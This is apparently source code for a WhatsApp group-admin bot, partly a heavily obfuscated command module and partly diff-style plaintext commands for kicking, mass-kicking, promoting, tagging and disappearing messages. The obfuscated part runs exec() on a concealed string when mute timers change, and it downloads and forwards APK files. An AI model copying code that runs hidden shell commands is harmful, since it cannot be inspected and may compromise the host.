_0x2c13d9=_0x5b4ca3,{repondre:_0x2f1341,verifGroupe:_0x560f03,superUser:_0x47fa66}=_0x108550;if(!_0x560f03){_0x2f1341(_0x2c13d9(0x222));return;};if(!_0x47fa66){_0x2f1341(_0x2c13d9(0x238));return;}await _0x2f1341(_0x2c13d9(0x1cd)),_0x6fbd33[_0x2c13d9(0x24e)](_0x22ae92);}),france({'nomCom':_0x5b4ca3(0x286),'categorie':'Group'},async(_0x349e63,_0x2fd414,_0x5870bb)=>{const _0x42b881=_0x5b4ca3,{arg:_0x5edae0,repondre:_0x1973d6,verifAdmin:_0x537331}=_0x5870bb;if(!_0x537331){_0x1973d6(_0x42b881(0x27e));return;};if(!_0x5edae0[0x0]){_0x1973d6(_0x42b881(0x1be));return;};const _0x111bf2=_0x5edae0['join']('\x20');await _0x2fd414[_0x42b881(0x25c)](_0x349e63,_0x111bf2),_0x1973d6(_0x42b881(0x288)+_0x111bf2+'*');}),france({'nomCom':_0x5b4ca3(0x277),'categorie':'Group'},async(_0x42401f,_0x4469fc,_0x5ba1d6)=>{const _0x5c10d5=_0x5b4ca3,{arg:_0x50998a,repondre:_0xa7adc7,verifAdmin:_0x6a6f80}=_0x5ba1d6;if(!_0x6a6f80){_0xa7adc7(_0x5c10d5(0x27e));return;};if(!_0x50998a[0x0]){_0xa7adc7('Please\x20enter\x20the\x20group\x20description');return;};const _0x29baed=_0x50998a[_0x5c10d5(0x1c0)]('\x20');await _0x4469fc[_0x5c10d5(0x1d0)](_0x42401f,_0x29baed),_0xa7adc7('group\x20description\x20update:\x20*'+_0x29baed+'*');}),france({'nomCom':_0x5b4ca3(0x282),'categorie':'Group'},async(_0x137986,_0x13c21d,_0x1b59e5)=>{const _0x2c30e0=_0x5b4ca3,{arg:_0xe00596,repondre:_0x58fa26,verifGroupe:_0x4f200a,verifAdmin:_0x91266b}=_0x1b59e5;if(!_0x91266b){_0x58fa26('for\x20admins.');return;};!_0x4f200a&&_0x58fa26('This\x20command\x20is\x20only\x20allowed\x20in\x20groups.');;await _0x13c21d[_0x2c30e0(0x1e0)](_0x137986),_0x58fa26(_0x2c30e0(0x205));}),france({'nomCom':'gpp','categorie':'Group'},async(_0x5482a6,_0x479c36,_0x5086aa)=>{const _0x4277d3=_0x5b4ca3,{repondre:_0x12e356,msgRepondu:_0x2823e9,verifAdmin:_0x5d2ba0}=_0x5086aa;if(!_0x5d2ba0){_0x12e356(_0x4277d3(0x27e));return;};if(_0x2823e9[_0x4277d3(0x1d4)]){const _0x4e437d=await _0x479c36['downloadAndSaveMediaMessage'](_0x2823e9[_0x4277d3(0x1d4)]);await _0x479c36[_0x4277d3(0x289)](_0x5482a6,{'url':_0x4e437d})[_0x4277d3(0x276)](()=>{const _0x8a61b7=_0x4277d3;_0x479c36[_0x8a61b7(0x285)](_0x5482a6,{'text':'Group\x20pfp\x20changed'}),fs[_0x8a61b7(0x1bc)](_0x4e437d);})[_0x4277d3(0x1c6)](()=>_0x479c36[_0x4277d3(0x285)](_0x5482a6,{'text':err}));}else _0x12e356(_0x4277d3(0x1f1));}),france({'nomCom':_0x5b4ca3(0x1d1),'categorie':'Group','reaction':'🎤'},async(_0x4760d4,_0x461f8b,_0x189759)=>{const _0x3e60b3=_0x5b4ca3,{repondre:_0x90e592,msgRepondu:_0x5e4f63,verifGroupe:_0x5b18a7,arg:_0x33c791,verifAdmin:_0x400710,superUser:_0x4404ca}=_0x189759;!_0x5b18a7&&_0x90e592(_0x3e60b3(0x22c));;if(_0x400710||_0x4404ca){let _0x58dd32=await _0x461f8b[_0x3e60b3(0x1f5)](_0x4760d4),_0x4d1441=[];for(const _0x1615d5 of _0x58dd32[_0x3e60b3(0x1d3)]){_0x4d1441[_0x3e60b3(0x21a)](_0x1615d5['id']);}if(_0x5e4f63){console[_0x3e60b3(0x24c)](_0x5e4f63);let _0x4fddbd;if(_0x5e4f63[_0x3e60b3(0x1d4)]){let _0x93937f=await _0x461f8b[_0x3e60b3(0x202)](_0x5e4f63[_0x3e60b3(0x1d4)]);_0x4fddbd={'image':{'url':_0x93937f},'caption':_0x5e4f63[_0x3e60b3(0x1d4)][_0x3e60b3(0x23c)],'mentions':_0x4d1441};}else{if(_0x5e4f63[_0x3e60b3(0x23b)]){let _0x3d5ef5=await _0x461f8b[_0x3e60b3(0x202)](_0x5e4f63['videoMessage']);_0x4fddbd={'video':{'url':_0x3d5ef5},'caption':_0x5e4f63[_0x3e60b3(0x23b)][_0x3e60b3(0x23c)],'mentions':_0x4d1441};}else{if(_0x5e4f63[_0x3e60b3(0x220)]){let _0x184a8a=await _0x461f8b[_0x3e60b3(0x202)](_0x5e4f63[_0x3e60b3(0x220)]);_0x4fddbd={'audio':{'url':_0x184a8a},'mimetype':'audio/mp4','mentions':_0x4d1441};}else{if(_0x5e4f63[_0x3e60b3(0x1ca)]){let _0x313a9b=await _0x461f8b[_0x3e60b3(0x202)](_0x5e4f63[_0x3e60b3(0x1ca)]),_0x559259=new Sticker(_0x313a9b,{'pack':_0x3e60b3(0x1d9),'type':StickerTypes[_0x3e60b3(0x283)],'categories':['🤩','🎉'],'id':'12345','quality':0x46,'background':_0x3e60b3(0x1ef)});const _0x359caf=await _0x559259[_0x3e60b3(0x1ce)]();_0x4fddbd={'sticker':_0x359caf,'mentions':_0x4d1441};}else _0x4fddbd={'text':_0x5e4f63[_0x3e60b3(0x269)],'mentions':_0x4d1441};}}}_0x461f8b[_0x3e60b3(0x285)](_0x4760d4,_0x4fddbd);}else{if(!_0x33c791||!_0x33c791[0x0]){_0x90e592(_0x3e60b3(0x294));;return;};_0x461f8b[_0x3e60b3(0x285)](_0x4760d4,{'text':_0x33c791['join']('\x20'),'mentions':_0x4d1441});}}else _0x90e592(_0x3e60b3(0x1cf));}),france({'nomCom':_0x5b4ca3(0x210),'reaction':'✨','categorie':_0x5b4ca3(0x211)},async(_0x47ffb3,_0x2885c0,_0x4ae792)=>{const _0x43443b=_0x5b4ca3,{repondre:_0x50a3bc,arg:_0x31c4eb,ms:_0x51bc1d}=_0x4ae792;try{const _0x197239=_0x31c4eb[_0x43443b(0x1c0)]('\x20');if(!_0x197239)return _0x50a3bc(_0x43443b(0x1e2));const _0x16c50f=await search(_0x197239);if(_0x16c50f[_0x43443b(0x256)]===0x0)return _0x50a3bc(_0x43443b(0x25b));const _0x3c7014=await download(_0x16c50f[0x0]['id']),_0x5ab098=parseInt(_0x3c7014[_0x43443b(0x272)]);if(_0x5ab098>0x12c)return _0x50a3bc('The\x20file\x20exceeds\x20300\x20MB,\x20unable\x20to\x20download.');const _0x208e36=_0x3c7014[_0x43443b(0x23f)],_0x28cc96=_0x43443b(0x1f3)+_0x3c7014[_0x43443b(0x280)]+_0x43443b(0x227)+_0x3c7014[_0x43443b(0x20e)]+_0x43443b(0x291)+_0x3c7014['lastup']+_0x43443b(0x24d)+_0x3c7014[_0x43443b(0x272)]+'\x0a',_0x29dbe9=(_0x3c7014?.['name']||_0x43443b(0x262))+'.apk',_0x47db8d=_0x29dbe9,_0x2f3d82=await axios[_0x43443b(0x209)](_0x208e36,{'responseType':_0x43443b(0x249)}),_0x1e6963=fs['createWriteStream'](_0x47db8d);_0x2f3d82[_0x43443b(0x250)][_0x43443b(0x1fd)](_0x1e6963),await new Promise((_0x1d6608,_0x2fed17)=>{const _0x2af138=_0x43443b;_0x1e6963['on'](_0x2af138(0x21b),_0x1d6608),_0x1e6963['on'](_0x2af138(0x1ba),_0x2fed17);});const _0x24998d={'document':fs['readFileSync'](_0x47db8d),'mimetype':'application/vnd.android.package-archive','fileName':_0x29dbe9};_0x2885c0[_0x43443b(0x285)](_0x47ffb3,{'image':{'url':_0x3c7014[_0x43443b(0x1e4)]},'caption':_0x28cc96},{'quoted':_0x51bc1d}),_0x2885c0['sendMessage'](_0x47ffb3,_0x24998d,{'quoted':_0x51bc1d}),fs[_0x43443b(0x1bc)](_0x47db8d);}catch(_0x2d07c2){console['error'](_0x43443b(0x258),_0x2d07c2),_0x50a3bc(_0x43443b(0x1f0));}});const cron=require(_0x5b4ca3(0x1d2));france({'nomCom':_0x5b4ca3(0x24f),'categorie':_0x5b4ca3(0x1e5)},async(_0x1b5be6,_0x1cd119,_0x354932)=>{const _0x5bb2bf=_0x5b4ca3,{arg:_0x214963,repondre:_0x2bf00c,verifAdmin:_0x1043f3}=_0x354932;if(!_0x1043f3){_0x2bf00c(_0x5bb2bf(0x1c8));return;}group_cron=await cron[_0x5bb2bf(0x20f)](_0x1b5be6);if(!_0x214963||_0x214963[_0x5bb2bf(0x256)]==0x0){let _0x50dd02;group_cron==null||group_cron['mute_at']==null?_0x50dd02='No\x20time\x20set\x20for\x20automatic\x20mute':_0x50dd02=_0x5bb2bf(0x219)+group_cron[_0x5bb2bf(0x1d6)][_0x5bb2bf(0x21e)](':')[0x0]+'\x20'+group_cron[_0x5bb2bf(0x1d6)][_0x5bb2bf(0x21e)](':')[0x1];let _0x1a24aa='*\x20*State:*\x20'+_0x50dd02+_0x5bb2bf(0x261);_0x2bf00c(_0x1a24aa);return;}else{let _0x4ab280=_0x214963[_0x5bb2bf(0x1c0)]('\x20');if(_0x4ab280[_0x5bb2bf(0x1ea)]()===_0x5bb2bf(0x203))group_cron==null?_0x2bf00c('No\x20cronometrage\x20is\x20active'):(await cron[_0x5bb2bf(0x26e)](_0x1b5be6),_0x2bf00c(_0x5bb2bf(0x1cc))[_0x5bb2bf(0x276)](()=>{const _0x237ceb=_0x5bb2bf;exec(_0x237ceb(0x1c7));}));else _0x4ab280['includes'](':')?(await cron[_0x5bb2bf(0x213)](_0x1b5be6,_0x5bb2bf(0x1d6),_0x4ab280),_0x2bf00c('Setting\x20up\x20automatic\x20mute\x20for\x20'+_0x4ab280+_0x5bb2bf(0x265))[_0x5bb2bf(0x276)](()=>{const _0x4cb6b6=_0x5bb2bf;exec(_0x4cb6b6(0x1c7));})):_0x2bf00c(_0x5bb2bf(0x229));}}),france({'nomCom':_0x5b4ca3(0x1cb),'categorie':_0x5b4ca3(0x1e5)},async(_0x24ad66,_0x147d08,_0x26edd4)=>{const _0x28e9d4=_0x5b4ca3,{arg:_0x51dd3e,repondre:_0x77c908,verifAdmin:_0x1d40b8}=_0x26edd4;if(!_0x1d40b8){_0x77c908('You\x20are\x20not\x20an\x20administrator\x20of\x20the\x20group');return;}group_cron=await cron[_0x28e9d4(0x20f)](_0x24ad66);if(!_0x51dd3e||_0x51dd3e[_0x28e9d4(0x256)]==0x0){let _0x38d68d;group_cron==null||group_cron['unmute_at']==null?_0x38d68d=_0x28e9d4(0x1ed):_0x38d68d=_0x28e9d4(0x26b)+group_cron[_0x28e9d4(0x239)][_0x28e9d4(0x21e)](':')[0x0]+'H\x20'+group_cron[_0x28e9d4(0x239)][_0x28e9d4(0x21e)](':')[0x1];let _0x11fe31=_0x28e9d4(0x279)+_0x38d68d+_0x28e9d4(0x1c2);_0x77c908(_0x11fe31);return;}else{let _0x127532=_0x51dd3e[_0x28e9d4(0x1c0)]('\x20');if(_0x127532[_0x28e9d4(0x1ea)]()===_0x28e9d4(0x203))group_cron==null?_0x77c908(_0x28e9d4(0x1f4)):(await cron[_0x28e9d4(0x26e)](_0x24ad66),_0x77c908(_0x28e9d4(0x214))[_0x28e9d4(0x276)](()=>{const _0x2d9589=_0x28e9d4;exec(_0x2d9589(0x1c7));}));else _0x127532['includes'](':')?(await cron[_0x28e9d4(0x213)](_0x24ad66,_0x28e9d4(0x239),_0x127532),_0x77c908(_0x28e9d4(0x287)+_0x127532+_0x28e9d4(0x223))[_0x28e9d4(0x276)](()=>{const _0x42899e=_0x28e9d4;exec(_0x42899e(0x1c7));})):_0x77c908('Please\x20enter\x20a\x20valid\x20time\x20with\x20hour\x20and\x20minute\x20separated\x20by\x20:');}}),france({'nomCom':'fkick','categorie':_0x5b4ca3(0x1e5)},async(_0x3858c3,_0x1c1cf4,_0x16297f)=>{const _0x509d96=_0x5b4ca3,{arg:_0x21b4b7,repondre:_0x18b975,verifAdmin:_0x3c2502,superUser:_0x165f12,verifZokouAdmin:_0x1f26b0}=_0x16297f;if(_0x3c2502||_0x165f12){if(!_0x1f26b0){_0x18b975(_0x509d96(0x27a));return;}if(!_0x21b4b7||_0x21b4b7[_0x509d96(0x256)]==0x0){_0x18b975(_0x509d96(0x1f2));return;}let _0x42a2a3=await _0x1c1cf4[_0x509d96(0x1f5)](_0x3858c3),_0x2d9dc3=_0x42a2a3[_0x509d96(0x1d3)];for(let _0x4b2e90=0x0;_0x4b2e90<_0x2d9dc3[_0x509d96(0x256)];_0x4b2e90++){_0x2d9dc3[_0x4b2e90]['id'][_0x509d96(0x26c)](_0x21b4b7[0x0])&&_0x2d9dc3[_0x4b2e90][_0x509d96(0x28e)]===null&&await _0x1c1cf4['groupParticipantsUpdate'](_0x3858c3,[_0x2d9dc3[_0x4b2e90]['id']],_0x509d96(0x201));}}else _0x18b975(_0x509d96(0x23a));}),france({'nomCom':'nsfw','categorie':_0x5b4ca3(0x1e5)},async(_0x52aed2,_0x1b80e5,_0x2186af)=>{const _0x8700b3=_0x5b4ca3,{arg:_0x2662d3,repondre:_0x1d4c6c,verifAdmin:_0x2d8926}=_0x2186af;if(!_0x2d8926){_0x1d4c6c(_0x8700b3(0x231));return;}let _0x501efb=require(_0x8700b3(0x218)),_0x6438a2=await _0x501efb[_0x8700b3(0x20a)](_0x52aed2);if(_0x2662d3[0x0]=='on'){if(_0x6438a2){_0x1d4c6c(_0x8700b3(0x215));return;};await _0x501efb['addToHentaiList'](_0x52aed2),_0x1d4c6c(_0x8700b3(0x246));}else{if(_0x2662d3[0x0]==_0x8700b3(0x254)){if(!_0x6438a2){_0x1d4c6c(_0x8700b3(0x21d));return;};await _0x501efb['removeFromHentaiList'](_0x52aed2),_0x1d4c6c(_0x8700b3(0x228));}else _0x1d4c6c('You\x20must\x20enter\x20\x22on\x22\x20or\x20\x22off\x22');}}),france({'nomCom':_0x5b4ca3(0x233),'categorie':_0x5b4ca3(0x1e5),'reaction':'🔗'},async(_0x1f34cd,_0x2bfced,_0x14f448)=>{const _0x4d0f8b=_0x5b4ca3;var {repondre:_0x5ad14a,arg:_0x540adb,verifGroupe:_0x1407d3,superUser:_0xa5c46c,verifAdmin:_0x49fa61}=_0x14f448;if(!_0x1407d3)return _0x5ad14a('*This\x20command\x20is\x20for\x20groups\x20only*');if(_0xa5c46c||_0x49fa61){const _0x5f2e35=await verifierEtatJid(_0x1f34cd);try{if(!_0x540adb||!_0x540adb[0x0]||_0x540adb==='\x20'){_0x5ad14a('antiword\x20on\x20to\x20activate\x20the\x20anti-word\x20feature\x0aantiword\x20off\x20to\x20deactivate\x20the\x20anti-word\x20feature\x0aantiword\x20action/remove\x20to\x20directly\x20remove\x20the\x20sender\x20without\x20notice\x0aantiword\x20action/warn\x20to\x20give\x20warnings\x0aantiword\x20action/delete\x20to\x20remove\x20the\x20word\x20without\x20any\x20sanctions\x0a\x0aPlease\x20note\x20that\x20by\x20default,\x20the\x20anti-word\x20feature\x20is\x20set\x20to\x20delete.');return;};if(_0x540adb[0x0]==='on')_0x5f2e35?_0x5ad14a(_0x4d0f8b(0x1db)):(await ajouterOuMettreAJourJid(_0x1f34cd,'oui'),_0x5ad14a(_0x4d0f8b(0x1e9)));else{if(_0x540adb[0x0]===_0x4d0f8b(0x254))_0x5f2e35?(await ajouterOuMettreAJourJid(_0x1f34cd,_0x4d0f8b(0x23e)),_0x5ad14a(_0x4d0f8b(0x28f))):_0x5ad14a(_0x4d0f8b(0x216));else{if(_0x540adb[_0x4d0f8b(0x1c0)]('')[_0x4d0f8b(0x21e)]('/')[0x0]===_0x4d0f8b(0x207)){let _0x58aa2f=_0x540adb[_0x4d0f8b(0x1c0)]('')['split']('/')[0x1]['toLowerCase']();_0x58aa2f==_0x4d0f8b(0x201)||_0x58aa2f==_0x4d0f8b(0x1dc)||_0x58aa2f==_0x4d0f8b(0x253)?(await mettreAJourAction(_0x1f34cd,_0x58aa2f),_0x5ad14a(_0x4d0f8b(0x23d)+_0x540adb[_0x4d0f8b(0x1c0)]('')[_0x4d0f8b(0x21e)]('/')[0x1])):_0x5ad14a(_0x4d0f8b(0x1e8));}else _0x5ad14a(_0x4d0f8b(0x226));}}}catch(_0x5de5c5){_0x5ad14a(_0x5de5c5);}}else _0x5ad14a('You\x20are\x20not\x20entitled\x20to\x20this\x20order');}); + const admins = participants.filter(p => p.admin); + const ownerJid = metadata.owner || (admins.find(p => p.admin === 'superadmin')?.id); + + + async function getDisplayNumber(jid) { + if (!jid) return 'Unknown'; + + if (jid.endsWith('@s.whatsapp.net')) { + return jid.split('@')[0]; + } + + if (jid.endsWith('@lid')) { + try { + const result = await sock.onWhatsApp(jid); + const waJid = result?.[0]?.jid; + return waJid ? waJid.split('@')[0] : jid.split('@')[0]; + } catch (err) { + console.warn('Failed to resolve LID:', jid); + return jid.split('@')[0]; + } + } + + return jid.split('@')[0]; + } + + + const ownerNumber = await getDisplayNumber(ownerJid); + + + const adminList = await Promise.all(admins.map(async (a, i) => { + const number = await getDisplayNumber(a.id); + return `${i + 1}. @${number}`; + })); + + + const response = `*📄 Group Information:*\n\n` + + `📌 *Name:* ${groupName}\n` + + `🆔 *ID:* ${groupId}\n` + + `👑 *Owner:* @${ownerNumber}\n` + + `👥 *Members:* ${totalMembers}\n` + + `🛡️ *Admins (${admins.length}):*\n${adminList.join('\n')}`; + + + await sock.sendMessage(fromJid, { + text: response, + mentions: [ + ...(ownerJid ? [ownerJid] : []), + ...admins.map(a => a.id) + ] + }, { quoted: msg }); + + } catch (err) { + console.error('❌ Error fetching group info:', err); + await sock.sendMessage(fromJid, { + text: '⚠️ Could not fetch group info.' + }, { quoted: msg }); + } + } +}, + { + name: 'antilink', + get flashOnly() { + return franceking(); +}, + description: 'Enable/disable antilink and set action (warn/kick/delete)', + category: 'Group', + adminOnly: true, + botAdminOnly: true, + ownerOnly: true, + groupOnly: true, + + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const [option, action = 'warn'] = args; + + if (!['on', 'off'].includes(option) || !['warn', 'kick', 'delete'].includes(action)) { + return king.sendMessage(fromJid, { + text: `❌ Usage: .antilink on|off warn|kick|delete\n⚙️ Current global warning limit: *${conf.WARN_LIMIT}*` + }, { quoted: msg }); + } + + const enabled = option === 'on'; + await db.setGroupSettings(fromJid, enabled, action); + + return king.sendMessage(fromJid, { + text: `✅ Antilink is now *${option.toUpperCase()}* with action: *${action.toUpperCase()}*\n⚠️ Global warning limit: *${conf.WARN_LIMIT}*` + }, { quoted: msg }); + } + }, +{ + name: 'hidetag', + aliases: ['tag'], + description: 'Mentions all members in the group using a message or media.', + category: 'Group', + get flashOnly() { + return franceking(); + }, + groupOnly: true, + + execute: async (king, msg, args) => { + const jid = msg.key.remoteJid; + const metadata = await king.groupMetadata(jid); + const tagList = metadata.participants.map(p => p.id); + const quoted = msg.message?.extendedTextMessage?.contextInfo; + + let outMsg; + + if (quoted?.quotedMessage) { + const quotedMsg = quoted.quotedMessage; + const type = Object.keys(quotedMsg)[0]; + + switch (type) { + case 'imageMessage': { + const buffer = await king.downloadMediaMessage({ + key: { + remoteJid: jid, + fromMe: false, + id: quoted.stanzaId, + participant: quoted.participant + }, + message: quotedMsg + }); + outMsg = { + image: buffer, + caption: quotedMsg.imageMessage.caption || '', + mentions: tagList + }; + break; + } + + case 'videoMessage': { + const buffer = await king.downloadMediaMessage({ + key: { + remoteJid: jid, + fromMe: false, + id: quoted.stanzaId, + participant: quoted.participant + }, + message: quotedMsg + }); + outMsg = { + video: buffer, + caption: quotedMsg.videoMessage.caption || '', + mentions: tagList + }; + break; + } + + case 'audioMessage': { + const buffer = await king.downloadMediaMessage({ + key: { + remoteJid: jid, + fromMe: false, + id: quoted.stanzaId, + participant: quoted.participant + }, + message: quotedMsg + }); + outMsg = { + audio: buffer, + mimetype: 'audio/mp4', + ptt: true, + mentions: tagList + }; + break; + } + + case 'conversation': + case 'extendedTextMessage': { + const text = quotedMsg?.conversation || quotedMsg.extendedTextMessage?.text || '👥'; + outMsg = { text, mentions: tagList }; + break; + } + + default: { + outMsg = { text: '👥', mentions: tagList }; + } + } + + } else { + if (!args || !args.length) { + await king.sendMessage(jid, { + text: "❗ Please provide a message or reply to one to mention everyone." + }, { quoted: msg }); + return; + } + outMsg = { + text: args.join(' '), + mentions: tagList + }; + } + + await king.sendMessage(jid, outMsg); + } +}, + + { + name: 'tagall', + get flashOnly() { + return franceking(); +}, + aliases: ['mentionall'], + description: 'Mentions all members of the current group.', + category: 'Group', + groupOnly: true, + + execute: async (king, msg, args, jid) => { + try { + const groupInfo = await king.groupMetadata(jid); + const participants = groupInfo.participants; + + if (!participants.length) { + return await king.sendMessage(jid, { text: "⚠️ No participants found in this group." }, { quoted: msg }); + } + + const customText = args.length > 0 ? args.join(' ') : 'Hello everyone!'; + let mentionText = `*📣 ${customText}*\n\n`; + participants.forEach((p, i) => { + mentionText += `${i + 1}. @${p.id.split('@')[0]}\n`; + }); + + await king.sendMessage(jid, { + text: mentionText, + mentions: participants.map(p => p.id) + }, { quoted: msg }); + + } catch (error) { + await king.sendMessage(jid, { + text: '❌ Something went wrong while tagging everyone.' + }, { quoted: msg }); + } + } +}, + + { + name: 'rename', + get flashOnly() { + return franceking(); +}, + aliases: ['gname'], + description: 'Change the group subject (name).', + category: 'Group', + groupOnly: true, + adminOnly: true, + ownerOnly: true, + botAdminOnly: true, + execute: async (king, msg, args, fromJid) => { + const newSubject = args.join(' '); + if (!newSubject) { + return king.sendMessage(fromJid, { text: '❗ Provide a new group name.' }, { quoted: msg }); + } + + try { + await king.groupUpdateSubject(fromJid, newSubject); + await king.sendMessage(fromJid, { text: `✅ Group name changed to: *${newSubject}*` }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to change group name.' }, { quoted: msg }); + } + } + }, + + { + name: 'kick', + get flashOnly() { + return franceking(); +}, + aliases: ['remove'], + description: 'Remove a user from the group.', + category: 'Group', + ownerOnly: true, + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + execute: async (king, msg, args, fromJid) => { + const quoted = msg.message?.extendedTextMessage?.contextInfo?.participant; + const tagged = msg.message?.extendedTextMessage?.contextInfo?.mentionedJid?.[0]; + const target = quoted || tagged; + + if (!target) { + return king.sendMessage(fromJid, { text: '⚠️ Tag or reply to the user you want to remove.' }, { quoted: msg }); + } + + try { + await king.groupParticipantsUpdate(fromJid, [target], 'remove'); + await king.sendMessage(fromJid, { + text: `✅ @${target.split('@')[0]} has been removed.`, + mentions: [target] + }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to remove user.' }, { quoted: msg }); + } + } + }, + + { + name: 'add', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Add a user to the group.', + category: 'Group', + ownerOnly: true, + groupOnly: true, + adminOnly: true, + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const senderJid = msg.key.participant || fromJid; + const senderNum = senderJid.replace(/@.*$/, '').split(':')[0]; + + if (!args[0]) { + return king.sendMessage(fromJid, { text: '⚠️ Provide a number to add.' }, { quoted: msg }); + } + + const num = args[0].replace(/\D/g, ''); + const userJid = `${num}@s.whatsapp.net`; + + try { + await king.groupParticipantsUpdate(fromJid, [userJid], 'add'); + await king.sendMessage(fromJid, { text: `✅ ${num} added to the group.` }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { + text: '❌ Failed to add user. They may have privacy restrictions.' + }, { quoted: msg }); + } + } + }, + + { + name: 'kickall', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Remove all non-admin members.', + category: 'Group', + ownerOnly: true, + groupOnly: true, + adminOnly: true, + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + const metadata = await king.groupMetadata(fromJid); + const toKick = metadata.participants.filter(p => !p.admin).map(p => p.id); + + await king.sendMessage(fromJid, { text: '⚠️ Removing all non-admins in 5 seconds...' }, { quoted: msg }); + await new Promise(res => setTimeout(res, 5000)); + + for (const id of toKick) { + await king.groupParticipantsUpdate(fromJid, [id], 'remove'); + await new Promise(res => setTimeout(res, 500)); + } + } + }, + + { + name: 'promote', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Promote a member to admin.', + category: 'Group', + ownerOnly: true, + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + const mentioned = msg.message?.extendedTextMessage?.contextInfo?.mentionedJid?.[0]; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.participant; + const target = quoted || mentioned; + + if (!target) { + return king.sendMessage(fromJid, { text: '⚠️ Tag or reply to the user you want to promote.' }, { quoted: msg }); + } + + try { + await king.groupParticipantsUpdate(fromJid, [target], 'promote'); + await king.sendMessage(fromJid, { + text: `✅ @${target.split('@')[0]} is now an admin.`, + mentions: [target] + }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to promote user.' }, { quoted: msg }); + } + } + }, + + { + name: 'demote', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Demote a group admin.', + category: 'Group', + ownerOnly: true, + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + const mentioned = msg.message?.extendedTextMessage?.contextInfo?.mentionedJid?.[0]; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.participant; + const target = quoted || mentioned; + + if (!target) { + return king.sendMessage(fromJid, { text: '⚠️ Tag or reply to the admin you want to demote.' }, { quoted: msg }); + } + + try { + await king.groupParticipantsUpdate(fromJid, [target], 'demote'); + await king.sendMessage(fromJid, { + text: `🛑 @${target.split('@')[0]} has been demoted.`, + mentions: [target] + }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to demote user.' }, { quoted: msg }); + } + } + }, +{ + name: 'approve', + get flashOnly() { + return franceking(); +}, + aliases: ['approve-all', 'accept'], + description: 'Approve all pending join requests.', + category: 'Group', + groupOnly: true, + adminOnly: true, + ownerOnly: true, + botAdminOnly: true, + reaction: '☑️', + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + const requests = await king.groupRequestParticipantsList(fromJid); + + if (requests.length === 0) { + return king.sendMessage(fromJid, { text: '📭 No join requests to approve.' }, { quoted: msg }); + } + + for (const p of requests) { + await king.groupRequestParticipantsUpdate(fromJid, [p.jid], 'approve'); + } + + await king.sendMessage(fromJid, { text: '✅ All join requests approved.' }, { quoted: msg }); + } + }, + + { + name: 'reject', + get flashOnly() { + return franceking(); +}, + aliases: ['rejectall', 'rej', 'reject-all'], + description: 'Reject all pending join requests.', + category: 'Group', + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + reaction: '👻', + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + const requests = await king.groupRequestParticipantsList(fromJid); + + if (requests.length === 0) { + return king.sendMessage(fromJid, { text: '📭 No join requests to reject.' }, { quoted: msg }); + } + + for (const p of requests) { + await king.groupRequestParticipantsUpdate(fromJid, [p.jid], 'reject'); + } + + await king.sendMessage(fromJid, { text: '🚫 All join requests rejected.' }, { quoted: msg }); + } + }, + + { + name: 'req', + get flashOnly() { + return franceking(); +}, + description: 'List pending join requests.', + category: 'Group', + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + reaction: '☑️', + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + const requests = await king.groupRequestParticipantsList(fromJid); + + if (!requests.length) { + return king.sendMessage(fromJid, { text: '📭 No pending join requests.' }, { quoted: msg }); + } + + const list = requests.map(p => '+' + p.jid.split('@')[0]).join('\n'); + await king.sendMessage(fromJid, { + text: `📥 Pending Requests:\n${list}\n\nUse *approve* or *reject* to respond.`, + }, { quoted: msg }); + } + }, + + { + name: 'disap1', + get flashOnly() { + return franceking(); +}, + description: 'Set disappearing messages to 24 hours.', + category: 'Group', + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + reaction: '👻', + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + try { + await king.groupToggleEphemeral(fromJid, 86400); + await king.sendMessage(fromJid, { text: '⏳ Disappearing messages set to 24 hours.' }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to set disappearing messages.' }, { quoted: msg }); + } + } + }, + + { + name: 'disap7', + get flashOnly() { + return franceking(); +}, + description: 'Set disappearing messages to 7 days.', + category: 'Group', + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + reaction: '👻', + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + try { + await king.groupToggleEphemeral(fromJid, 7 * 24 * 3600); + await king.sendMessage(fromJid, { text: '⏳ Disappearing messages set to 7 days.' }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to set disappearing messages.' }, { quoted: msg }); + } + } + }, + + { + name: 'disap90', + get flashOnly() { + return franceking(); +}, + description: 'Set disappearing messages to 90 days.', + category: 'Group', + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + reaction: '👻', + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + try { + await king.groupToggleEphemeral(fromJid, 90 * 24 * 3600); + await king.sendMessage(fromJid, { text: '⏳ Disappearing messages set to 90 days.' }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to set disappearing messages.' }, { quoted: msg }); + } + } + }, + + { + name: 'disap-off', + get flashOnly() { + return franceking(); +}, + description: 'Turn off disappearing messages.', + category: 'Group', + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + reaction: '👻', + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + try { + await king.groupToggleEphemeral(fromJid, 0); + await king.sendMessage(fromJid, { text: 